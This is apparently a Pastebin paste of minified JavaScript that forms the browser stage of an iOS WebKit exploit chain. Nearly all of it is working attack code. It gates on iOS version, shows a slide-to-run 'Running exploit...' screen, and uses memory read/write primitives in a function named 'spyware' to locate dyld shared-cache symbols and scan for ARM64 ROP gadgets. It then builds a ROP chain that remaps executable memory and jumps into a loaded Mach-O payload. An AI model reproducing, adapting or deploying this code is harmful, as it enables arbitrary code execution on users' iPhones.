Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var $jscomp = $jscomp || {};
- $jscomp.scope = {};
- $jscomp.ASSUME_ES5 = !1;
- $jscomp.ASSUME_NO_NATIVE_MAP = !1;
- $jscomp.ASSUME_NO_NATIVE_SET = !1;
- $jscomp.defineProperty = $jscomp.ASSUME_ES5 || "function" == typeof Object.defineProperties ? Object.defineProperty : function(a, d, e) {
- a != Array.prototype && a != Object.prototype && (a[d] = e.value)
- };
- $jscomp.getGlobal = function(a) {
- return "undefined" != typeof window && window === a ? a : "undefined" != typeof global && null != global ? global : a
- };
- $jscomp.global = $jscomp.getGlobal(this);
- $jscomp.SYMBOL_PREFIX = "jscomp_symbol_";
- $jscomp.initSymbol = function() {
- $jscomp.initSymbol = function() {};
- $jscomp.global.Symbol || ($jscomp.global.Symbol = $jscomp.Symbol)
- };
- $jscomp.Symbol = function() {
- var a = 0;
- return function(d) {
- return $jscomp.SYMBOL_PREFIX + (d || "") + a++
- }
- }();
- $jscomp.initSymbolIterator = function() {
- $jscomp.initSymbol();
- var a = $jscomp.global.Symbol.iterator;
- a || (a = $jscomp.global.Symbol.iterator = $jscomp.global.Symbol("iterator"));
- "function" != typeof Array.prototype[a] && $jscomp.defineProperty(Array.prototype, a, {
- configurable: !0,
- writable: !0,
- value: function() {
- return $jscomp.arrayIterator(this)
- }
- });
- $jscomp.initSymbolIterator = function() {}
- };
- $jscomp.initSymbolAsyncIterator = function() {
- $jscomp.initSymbol();
- var a = $jscomp.global.Symbol.asyncIterator;
- a || (a = $jscomp.global.Symbol.asyncIterator = $jscomp.global.Symbol("asyncIterator"));
- $jscomp.initSymbolAsyncIterator = function() {}
- };
- $jscomp.arrayIterator = function(a) {
- var d = 0;
- return $jscomp.iteratorPrototype(function() {
- return d < a.length ? {
- done: !1,
- value: a[d++]
- } : {
- done: !0
- }
- })
- };
- $jscomp.iteratorPrototype = function(a) {
- $jscomp.initSymbolIterator();
- a = {
- next: a
- };
- a[$jscomp.global.Symbol.iterator] = function() {
- return this
- };
- return a
- };
- $jscomp.polyfill = function(a, d, e, h) {
- if (d) {
- e = $jscomp.global;
- a = a.split(".");
- for (h = 0; h < a.length - 1; h++) {
- var r = a[h];
- r in e || (e[r] = {});
- e = e[r]
- }
- a = a[a.length - 1];
- h = e[a];
- d = d(h);
- d != h && null != d && $jscomp.defineProperty(e, a, {
- configurable: !0,
- writable: !0,
- value: d
- })
- }
- };
- $jscomp.polyfill("Array.from", function(a) {
- return a ? a : function(a, e, h) {
- $jscomp.initSymbolIterator();
- e = null != e ? e : function(a) {
- return a
- };
- var d = [],
- y = a[Symbol.iterator];
- if ("function" == typeof y) {
- a = y.call(a);
- for (var l = 0; !(y = a.next()).done;) d.push(e.call(h, y.value, l++))
- } else
- for (y = a.length, l = 0; l < y; l++) d.push(e.call(h, a[l], l));
- return d
- }
- }, "es6", "es3");
- $jscomp.checkStringArgs = function(a, d, e) {
- if (null == a) throw new TypeError("The 'this' value for String.prototype." + e + " must not be null or undefined");
- if (d instanceof RegExp) throw new TypeError("First argument to String.prototype." + e + " must not be a regular expression");
- return a + ""
- };
- $jscomp.polyfill("String.prototype.startsWith", function(a) {
- return a ? a : function(a, e) {
- var d = $jscomp.checkStringArgs(this, a, "startsWith");
- a += "";
- var r = d.length,
- y = a.length;
- e = Math.max(0, Math.min(e | 0, d.length));
- for (var l = 0; l < y && e < r;)
- if (d[e++] != a[l++]) return !1;
- return l >= y
- }
- }, "es6", "es3");
- $jscomp.iteratorFromArray = function(a, d) {
- $jscomp.initSymbolIterator();
- a instanceof String && (a += "");
- var e = 0,
- h = {
- next: function() {
- if (e < a.length) {
- var r = e++;
- return {
- value: d(r, a[r]),
- done: !1
- }
- }
- h.next = function() {
- return {
- done: !0,
- value: void 0
- }
- };
- return h.next()
- }
- };
- h[Symbol.iterator] = function() {
- return h
- };
- return h
- };
- $jscomp.polyfill("Array.prototype.keys", function(a) {
- return a ? a : function() {
- return $jscomp.iteratorFromArray(this, function(a) {
- return a
- })
- }
- }, "es6", "es3");
- $jscomp.owns = function(a, d) {
- return Object.prototype.hasOwnProperty.call(a, d)
- };
- $jscomp.polyfill("Object.values", function(a) {
- return a ? a : function(a) {
- var e = [],
- d;
- for (d in a) $jscomp.owns(a, d) && e.push(a[d]);
- return e
- }
- }, "es8", "es3");
- function hex(a) {
- return ("0" + a.toString(16)).substr(-2)
- }
- function hexlify(a) {
- for (var d = [], e = 0; e < a.length; e++) d.push(hex(a[e]));
- return d.join("")
- }
- function unhexlify(a) {
- if (1 == a.length % 2) throw new TypeError("Invalid hex string");
- for (var d = new Uint8Array(a.length / 2), e = 0; e < a.length; e += 2) d[e / 2] = parseInt(a.substr(e, 2), 16);
- return d
- }
- function hexdump(a) {
- "undefined" !== typeof a.BYTES_PER_ELEMENT && (a = Array.from(a));
- for (var d = [], e = 0; e < a.length; e += 16) {
- var h = a.slice(e, e + 16).map(hex);
- 8 < h.length && h.splice(8, 0, " ");
- d.push(h.join(" "))
- }
- return d.join("\n")
- }
- var Struct = function() {
- var a = new ArrayBuffer(8),
- d = new Uint8Array(a),
- e = new Uint32Array(a),
- h = new Float64Array(a);
- return {
- pack: function(e, d) {
- e[0] = d;
- return new Uint8Array(a, 0, e.BYTES_PER_ELEMENT)
- },
- unpack: function(a, e) {
- if (e.length !== a.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");
- d.set(e);
- return a[0]
- },
- int8: d,
- int32: e,
- float64: h
- }
- }();
- function ab2str(a) {
- return String.fromCharCode.apply(null, new Uint16Array(a))
- }
- function str2ab(a) {
- for (var d = new ArrayBuffer(2 * a.length), e = new Uint16Array(d), h = 0, r = a.length; h < r; h++) e[h] = a.charCodeAt(h);
- return d
- };
- /\b10_\S+ like Mac OS X/.test(navigator.userAgent) || (window.crypto.subtle || window.crypto.webkitSubtle).digest({
- name: "SHA-1"
- }, str2ab(window.location.hash)).then(function(a) {
- if ("9e04130fa02fc3c416f28ba556f0165da4d93054" != hexlify(new Uint8Array(a))) throw null;
- }).catch(function() {
- window.location.replace("incompatible.html")
- });
- window.addEventListener("DOMContentLoaded", function() {
- (function(a) {
- var d = document.getElementById("thumbtack"),
- e = document.getElementById("hint"),
- h = 0,
- r = null,
- y = d.parentNode.clientWidth - d.clientWidth - 5,
- l = null,
- p = function(a) {
- h = a;
- e.style.opacity = 1 - a / (.25 * y);
- d.style.left = a + "px"
- },
- g = function(a) {
- r = a;
- l = h;
- d.style.WebkitTransitionProperty = "";
- d.style.WebkitTransitionDuration = "0s";
- return !1
- },
- m = function(a) {
- null !== r && (a -= r, 0 > a ? a = 0 : a >= y && (a = y), p(a + l))
- },
- O = function() {
- if (null !== r) {
- r = null;
- if (.9 <= h / y) return p(y), a(), !1;
- var e =
- h;
- p(0);
- d.style.WebkitTransform = "translateX(" + e + "px)";
- setTimeout(function() {
- d.style.WebkitTransitionProperty = "-webkit-transform";
- d.style.WebkitTransitionDuration = "0.25s";
- d.style.WebkitTransform = "translateX(0px)"
- }, 0);
- return !1
- }
- };
- d.ontouchstart = function(a) {
- return g(a.targetTouches[0].clientX)
- };
- window.ontouchmove = function(a) {
- return m(a.targetTouches[0].clientX)
- };
- window.ontouchend = function(a) {
- return O()
- };
- d.onmousedown = function(a) {
- return g(a.clientX)
- };
- window.onmousemove = function(a) {
- return m(a.clientX)
- };
- window.onmouseup = function(a) {
- return O()
- };
- return this
- })(function() {
- var a = document.getElementById("logo");
- a.parentNode.removeChild(a);
- document.body.className = "wait";
- document.getElementById("notice").textContent = "Running exploit...";
- window.setTimeout(function() {
- window.go()
- }, 10)
- });
- window.ontouchstart = function(a) {
- a.preventDefault();
- return !1
- }
- });
- function Int64(a) {
- function d(a, e) {
- return function() {
- if (arguments.length != e) throw Error("Not enough arguments for function " + a.name);
- for (var d = 0; d < arguments.length; d++) arguments[d] instanceof Int64 || (arguments[d] = new Int64(arguments[d]));
- return a.apply(this, arguments)
- }
- }
- var e = new Uint8Array(8);
- switch (typeof a) {
- case "number":
- a = "0x" + Math.floor(a).toString(16);
- case "string":
- a.startsWith("0x") && (a = a.substr(2));
- 1 == a.length % 2 && (a = "0" + a);
- a = unhexlify(a, 8);
- e.set(Array.from(a).reverse());
- break;
- case "object":
- if (a instanceof Int64) e.set(a.bytes());
- else {
- if (8 != a.length) throw TypeError("Array must have excactly 8 elements.");
- e.set(a)
- }
- break;
- case "undefined":
- break;
- default:
- throw TypeError("Int64 constructor requires an argument.");
- }
- this.asDouble = function() {
- if (255 == e[7] && (255 == e[6] || 254 == e[6])) throw new RangeError("Integer can not be represented by a double");
- return Struct.unpack(Struct.float64, e)
- };
- this.asJSValue = function() {
- if (0 == e[7] && 0 == e[6] || 255 == e[7] && 255 == e[6]) throw new RangeError("Integer can not be represented by a JSValue");
- this.assignSub(this, 281474976710656);
- var a = Struct.unpack(Struct.float64, e);
- this.assignAdd(this, 281474976710656);
- return a
- };
- this.bytes = function() {
- return Array.from(e)
- };
- this.byteAt = function(a) {
- return e[a]
- };
- this.toString = function() {
- return "0x" + hexlify(Array.from(e).reverse())
- };
- this.lo = function() {
- var a = this.bytes();
- return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
- };
- this.hi = function() {
- var a = this.bytes();
- return (a[4] | a[5] << 8 | a[6] << 16 | a[7] << 24) >>> 0
- };
- this.assignNeg = d(function(a) {
- for (var d = 0; 8 > d; d++) e[d] = ~a.byteAt(d);
- return this.assignAdd(this, Int64.One)
- }, 1);
- this.assignAdd = d(function(a, d) {
- for (var h = 0, l = 0; 8 > l; l++) {
- var p = a.byteAt(l) + d.byteAt(l) + h;
- h = 255 < p | 0;
- e[l] = p
- }
- return this
- }, 2);
- this.assignSub = d(function(a, d) {
- for (var h = 0, l = 0; 8 > l; l++) {
- var p = a.byteAt(l) - d.byteAt(l) - h;
- h = 0 > p | 0;
- e[l] = p
- }
- return this
- }, 2)
- }
- Int64.fromDouble = function(a) {
- a = Struct.pack(Struct.float64, a);
- return new Int64(a)
- };
- function Neg(a) {
- return (new Int64).assignNeg(a)
- }
- function Add(a, d) {
- return (new Int64).assignAdd(a, d)
- }
- function Sub(a, d) {
- return (new Int64).assignSub(a, d)
- }
- Int64.Zero = new Int64(0);
- Int64.One = new Int64(1);
- (function() {
- function a(a, d) {
- d instanceof Int64 || (d = new Int64(d));
- for (var e = 0; e < a.length; ++e) {
- var g = a[e].fileoff,
- p = Add(g, a[e].size);
- if ((g.hi() < d.hi() || g.hi() == d.hi() && g.lo() <= d.lo()) && (p.hi() > d.hi() || p.hi() == d.hi() && p.lo() > d.lo())) return Add(a[e].addr, Sub(d, g))
- }
- return new Int64("0x4141414141414141")
- }
- function d(d, g, h, l, r) {
- l = Array.from(l);
- void 0 === r && (r = {});
- for (var p = null, k = d.u32(Add(g, 16)), n = 0, m = 32; n < k; ++n) {
- if (2 == d.u32(Add(g, m))) {
- p = d.read(Add(g, m + 8), 16);
- p = {
- symoff: b2u32(p.slice(0, 4)),
- nsyms: b2u32(p.slice(4,
- 8)),
- stroff: b2u32(p.slice(8, 12)),
- strsize: b2u32(p.slice(12, 16))
- };
- break
- }
- m += d.u32(Add(g, m + 4))
- }
- null == p && fail("stab");
- var y = a(h, p.stroff),
- B = 0;
- g = function(a) {
- return d.read(Add(y, B + a), 1)[0]
- };
- for (n = 0; n < p.nsyms && 0 < l.length; ++n)
- for (B = d.u32(a(h, p.symoff + 16 * n)), k = 0; k < l.length; ++k)
- if (m = l[k], e(g, m)) {
- r[m] = d.readInt64(a(h, p.symoff + 16 * n + 8));
- l.splice(k, 1);
- break
- }
- return r
- }
- function e(a, d) {
- for (var e = "function" == typeof a ? a : function(d) {
- return a[d]
- }, g = 0; g < d.length; ++g)
- if (e(g) != d.charCodeAt(g)) return !1;
- return 0 == e(d.length)
- }
- function h(a) {
- return b2u32(this.read(a, 4))
- }
- function r(a, d) {
- a instanceof Int64 && (a = a.lo());
- d instanceof Int64 && (d = d.lo());
- a + d > this.length && fail("OOB read: " + a + " -> " + (a + d) + ", size: " + d);
- return this.slice(a, a + d)
- }
- function y(a) {
- return new Int64(this.read(a, 8))
- }
- function l(a, d) {
- a instanceof Int64 && (a = a.lo());
- this.set(d.bytes(), a)
- }
- window.fail = function(a) {
- alert("FAIL: " + a);
- location.reload();
- throw null;
- };
- window.b2u32 = function(a) {
- return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
- };
- window.spyware = function(p, g, m) {
- var O =
- document.createElement("div"),
- J = p.addrof(O);
- J = g.readInt64(J + 24);
- var T = g.readInt64(J);
- g.u32 = h;
- for (var k = g.readInt64(T), n = Sub(k, k.lo() & 4095); !e(g.read(n, 16), "dyld_v1 arm64");) n = Sub(n, 4096);
- var x = null,
- F = g.u32(Add(n, 20)),
- B = g.read(Add(n, g.u32(Add(n, 16))), 32 * F),
- z = [];
- for (k = 0; k < F; ++k) {
- var f = 32 * k;
- f = {
- addr: new Int64(B.slice(f + 0, f + 8)),
- size: new Int64(B.slice(f + 8, f + 16)),
- fileoff: new Int64(B.slice(f + 16, f + 24)),
- maxprot: b2u32(B.slice(f + 24, f + 28)),
- initprot: b2u32(B.slice(f + 28, f + 32))
- };
- z.push(f);
- 0 != f.fileoff.hi() || 0 !=
- f.fileoff.lo() || 0 == f.size.hi() && 0 == f.size.lo() || (x = f)
- }
- null == x && fail("base_seg");
- F = Sub(n, x.addr);
- for (k = 0; k < z.length; ++k) z[k].addr = Add(z[k].addr, F);
- var K = {
- "/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
- "/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
- "/usr/lib/system/libsystem_c.dylib": ["_usleep"],
- "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC32startOfFixedExecutableMemoryPoolE", "__ZN3JSC30endOfFixedExecutableMemoryPoolE"]
- };
- if (/\b10_\S+ like Mac OS X/.test(navigator.userAgent)) {
- B = {
- regloader: [2853635040, 2853569505, 2853700578, 2853766115, 2853831652, 2853897189, 3594453888],
- dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
- altdispatch: [3594453664, 3506471871, 2839706621, 2839629812, 2831374326, 3596551104],
- stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
- altstackloader: [3506521023, 2839903229, 2839826420, 2839762934, 2839699448, 2839635962, 2831577084, 3596551104]
- };
- var Q = ["/usr/lib/libLLVM.dylib"]
- } else K["/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"].push("__ZN3JSC29jitWriteSeparateHeapsFunctionE"), B = {
- ldrx8: [4181722088, 4177527400, 2839706621, 2839629812, 2432746495, 3596551104],
- dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
- regloader: [2853569507, 2853897190, 2853700576, 2853372897, 2853635042, 4181722084, 3594453248],
- stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
- movx4: [2853438436, 3594453248],
- ldrx0x0: [4181721088]
- }, Q = ["/usr/lib/PN548.dylib", "/usr/lib/libc++.1.dylib"];
- x = {};
- var C = {},
- D = Add(n, g.u32(Add(n, 24)));
- n = g.u32(Add(n, 28));
- for (k = 0; k < n; ++k) {
- var Y = a(z, g.u32(Add(D, 32 * k + 24))),
- U = function(a) {
- return g.read(Add(Y, a), 1)[0]
- },
- t = Add(g.readInt64(Add(D, 32 * k)), F);
- if (Q.some(function(a) {
- return e(U, a)
- })) {
- var u = g.u32(Add(t, 16)),
- q = 0;
- for (f = 32; q < u; ++q) {
- var v = g.u32(Add(t, f));
- if (25 == v && e(g.read(Add(t, f + 8), 16), "__TEXT")) {
- v = g.u32(Add(t, f + 64));
- u = 0;
- for (q = f + 72; u < v; ++u) {
- if (e(g.read(Add(t,
- q), 16), "__text")) {
- f = Object.keys(B).filter(function(a) {
- return !C.hasOwnProperty[a]
- });
- if (0 == f.length) break;
- u = {};
- for (var w = 0; w < f.length; ++w) u[f[w]] = 0;
- v = Add(g.readInt64(Add(t, q + 32)), F);
- t = g.u32(Add(t, q + 40));
- q = new Uint32Array(t / 4);
- for (w = 0; w < t; w += 4096) {
- var E = 4096;
- t - w < E && (E = t - w);
- for (var L = g.read(Add(v, w), E), A = 0; A < E; A += 4) {
- var I = b2u32(L.slice(A, A + 4));
- q[(w + A) / 4] = I
- }
- }
- for (E = 0; E < t && 0 < f.length; E++)
- for (L = q[E], w = 0; w < f.length; w++)
- if (A = f[w], I = B[A], L == I[u[A]]) {
- if (u[A]++, u[A] == I.length) {
- C[A] = Add(v, 4 * (E - (I.length - 1)));
- f.splice(w,
- 1);
- break
- }
- } else u[A] = 0;
- break
- }
- q += 80
- }
- break
- }
- f += g.u32(Add(t, f + 4))
- }
- } else {
- f = null;
- u = Object.keys(K);
- for (q = 0; q < u.length; ++q)
- if (e(U, u[q])) {
- f = K[u[q]];
- break
- }
- null != f && d(g, t, z, f, x)
- }
- }
- C.dispatch || (C.dispatch = C.altdispatch);
- C.stackloader || (C.stackloader = C.altstackloader);
- delete B.altdispatch;
- delete B.altstackloader;
- u = Object.values(K).reduce(function(a, b) {
- b.forEach(function(b) {
- a.push(b)
- });
- return a
- }, []);
- for (k = 0; k < u.length; ++k) z = u[k], null == x[z] && fail(z), x[z] = Add(x[z], F);
- u = Object.keys(B);
- for (k = 0; k < u.length; ++k) z = u[k],
- null == C[z] && fail(z);
- F = x.__longjmp;
- var R = C.regloader,
- M = C.dispatch,
- S = C.stackloader,
- P = C.ldrx8,
- V = C.movx4,
- W = new Int64(g.readInt64(x._mach_task_self_).lo()),
- X = x.__kernelrpc_mach_vm_protect_trap;
- B = x.__platform_memmove;
- K = x._usleep;
- Q = g.readInt64(x.__ZN3JSC32startOfFixedExecutableMemoryPoolE);
- z = g.readInt64(x.__ZN3JSC30endOfFixedExecutableMemoryPoolE);
- x = x.__ZN3JSC29jitWriteSeparateHeapsFunctionE ? g.readInt64(x.__ZN3JSC29jitWriteSeparateHeapsFunctionE) : Int64.Zero;
- m.u32 = h;
- m.read = r;
- m.readInt64 = y;
- m.writeInt64 = l;
- D = new Int64("0xffffffffffffffff");
- n = new Int64(0);
- u = m.u32(16);
- k = 0;
- for (f = 32; k < u; ++k) {
- v = m.u32(f);
- if (25 == v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
- t = m.readInt64(f + 24);
- v = m.readInt64(f + 32);
- v = Add(t, v);
- if (t.hi() < D.hi() || t.hi() == D.hi() && t.lo() <= D.lo()) D = t;
- if (v.hi() > n.hi() || v.hi() == n.hi() && v.lo() > n.lo()) n = v
- }
- f += m.u32(f + 4)
- }
- n = Sub(n, D);
- 0 != n.hi() && fail("shsz");
- w = new Uint8Array(n.lo());
- t = g.readInt64(Add(p.addrof(w), 16));
- var H = Sub(z, n);
- H = Sub(H, H.lo() & 16383);
- E = Sub(H, D);
- z = [];
- f = 32;
- for (k = 0; k < u; ++k) {
- v = m.u32(f);
- if (25 ==
- v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
- L = m.readInt64(f + 24);
- v = m.readInt64(f + 32);
- A = m.readInt64(f + 40);
- I = m.readInt64(f + 56);
- if (v.hi() < q.hi() || v.hi() == q.hi() && v.lo() <= q.lo()) q = v;
- z.push({
- addr: Sub(L, D),
- size: q,
- fileoff: A,
- prots: I
- });
- 0 != A.hi() && fail("fileoff");
- 0 != q.hi() && fail("filesize");
- A = A.lo();
- q = q.lo();
- w.set(m.slice(A, A + q), Sub(L, D).lo())
- }
- f += m.u32(f + 4)
- }
- w.u32 = h;
- w.read = r;
- w.readInt64 = y;
- m = d(w, 0, z, ["genesis"]);
- null == m.genesis && fail("genesis");
- m = Add(m.genesis, E);
- g.writeInt64(Add(T, 24), F);
- g.writeInt64(Add(J,
- 88), S);
- f = 4096;
- var c = new Uint32Array(1048576),
- G = g.readInt64(Add(p.addrof(c), 16)),
- b = 1048576 - f,
- Z = function(a, d, e, f, g, h, k) {
- h = h || Int64.Zero;
- c[b++] = 3735879696;
- c[b++] = 3735879697;
- c[b++] = 3735879698;
- c[b++] = 3735879699;
- c[b++] = M.lo();
- c[b++] = M.hi();
- c[b++] = 3735879700;
- c[b++] = 3735879701;
- c[b++] = h.lo();
- c[b++] = h.hi();
- c[b++] = g.lo();
- c[b++] = g.hi();
- c[b++] = f.lo();
- c[b++] = f.hi();
- c[b++] = d.lo();
- c[b++] = d.hi();
- c[b++] = e.lo();
- c[b++] = e.hi();
- c[b++] = a.lo();
- c[b++] = a.hi();
- c[b++] = 3735879704;
- c[b++] = 3735879705;
- c[b++] = 3735879706;
- c[b++] = 3735879707;
- a = b;
- c[b++] = Add(G, 4 * a + 64).lo();
- c[b++] = Add(G, 4 * a + 64).hi();
- c[b++] = R.lo();
- c[b++] = R.hi();
- c[b++] = 3735879712;
- c[b++] = 3735879713;
- c[b++] = 3735879714;
- c[b++] = 3735879715;
- c[b++] = 3735879716;
- c[b++] = 3735879717;
- c[b++] = 3735879718;
- c[b++] = 3735879719;
- c[b++] = 3735879720;
- c[b++] = 3735879721;
- c[b++] = 3735879722;
- c[b++] = 3735879723;
- a = b;
- c[b++] = Add(G, 4 * a + 112).lo();
- c[b++] = Add(G, 4 * a + 112).hi();
- c[b++] = k.lo();
- c[b++] = k.hi()
- },
- aa = function(a, d, e, f, g, h, k) {
- c[b++] = 3735879696;
- c[b++] = 3735879697;
- c[b++] = 3735879698;
- c[b++] = 3735879699;
- c[b++] = 3735884033;
- c[b++] = 3735884034;
- c[b++] = 3735879700;
- c[b++] = 3735879701;
- c[b++] = 3735879702;
- c[b++] = 3735879703;
- c[b++] = g.lo();
- c[b++] = g.hi();
- c[b++] = d.lo();
- c[b++] = d.hi();
- c[b++] = f.lo();
- c[b++] = f.hi();
- c[b++] = g.lo();
- c[b++] = g.hi();
- c[b++] = a.lo();
- c[b++] = a.hi();
- c[b++] = 3735879704;
- c[b++] = 3735879705;
- d = b;
- c[b++] = Add(G, 4 * d).lo();
- c[b++] = Add(G, 4 * d).hi();
- c[b++] = 3735879708;
- c[b++] = 3735879709;
- c[b++] = P.lo();
- c[b++] = P.hi();
- h ? (c[b++] = S.lo(), c[b++] = S.hi()) : (c[b++] = M.lo(), c[b++] = M.hi());
- c[b++] = 3735884801;
- c[b++] = 3735884802;
- c[b++] = 3735884545;
- c[b++] =
- 3735884546;
- c[b++] = e.lo();
- c[b++] = e.hi();
- c[b++] = 3735884289;
- c[b++] = 3735884290;
- c[b++] = R.lo();
- c[b++] = R.hi();
- h && (c[b++] = 3668770832, c[b++] = 3668770833, c[b++] = 3668770834, c[b++] = 3668770835, c[b++] = 3668775169, c[b++] = 3668775170, c[b++] = 3668770836, c[b++] = 3668770837, c[b++] = 3668770838, c[b++] = 3668770839, c[b++] = 3668770840, c[b++] = 3668770841, c[b++] = 3668771056, c[b++] = 3668771057, c[b++] = 3668771058, c[b++] = 3668771059, c[b++] = 3668771060, c[b++] = 3668771061, c[b++] = a.lo(), c[b++] = a.hi(), c[b++] = 3668770840, c[b++] = 3668770841, d = b, c[b++] =
- Add(G, 4 * d).lo(), c[b++] = Add(G, 4 * d).hi(), c[b++] = 3668770844, c[b++] = 3668770845, c[b++] = P.lo(), c[b++] = P.hi(), c[b++] = M.lo(), c[b++] = M.hi(), c[b++] = 3668775937, c[b++] = 3668775938, c[b++] = h.lo(), c[b++] = h.hi(), c[b++] = 3668775681, c[b++] = 3668775682, c[b++] = 3668775425, c[b++] = 3668775426, c[b++] = V.lo(), c[b++] = V.hi());
- c[b++] = 3735879714;
- c[b++] = 3735879715;
- c[b++] = 3735879714;
- c[b++] = 3735879715;
- c[b++] = 3735879716;
- c[b++] = 3735879717;
- c[b++] = 3735879718;
- c[b++] = 3735879719;
- c[b++] = 3735879720;
- c[b++] = 3735879721;
- c[b++] = 3735879722;
- c[b++] =
- 3735879723;
- c[b++] = 3735879724;
- c[b++] = 3735879725;
- c[b++] = k.lo();
- c[b++] = k.hi()
- },
- N = function(a, b, c, d, e, g, f) {
- b = b || Int64.Zero;
- c = c || Int64.Zero;
- d = d || Int64.Zero;
- e = e || Int64.Zero;
- f = f || S;
- return (P ? aa : Z)(a, b, c, d, e, g, f)
- };
- /\b10_\S+ like Mac OS X/.test(navigator.userAgent) ? (N(X, W, H, n, new Int64(0), new Int64(7)), N(B, H, t, n)) : (x.lo() || x.hi() ? N(x, Sub(H, Q), t, n) : fail("bi0n1c (c)"), z.forEach(function(a) {
- if (a.prots.hi() & 2) {
- var b = Add(a.addr, H);
- N(X, W, b, a.size, new Int64(0), new Int64(19))
- }
- }));
- N(K, new Int64(1E5));
- N(m);
- for (k = 0; 32 >
- k; ++k) c[b++] = 3724591326 + (k << 16);
- p = Add(G, 4 * (1048576 - f));
- g.writeInt64(Add(J, 96), Add(p, 96));
- g.writeInt64(Add(J, 104), p);
- O.addEventListener("click", function() {});
- fail("should never reach this")
- }
- })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement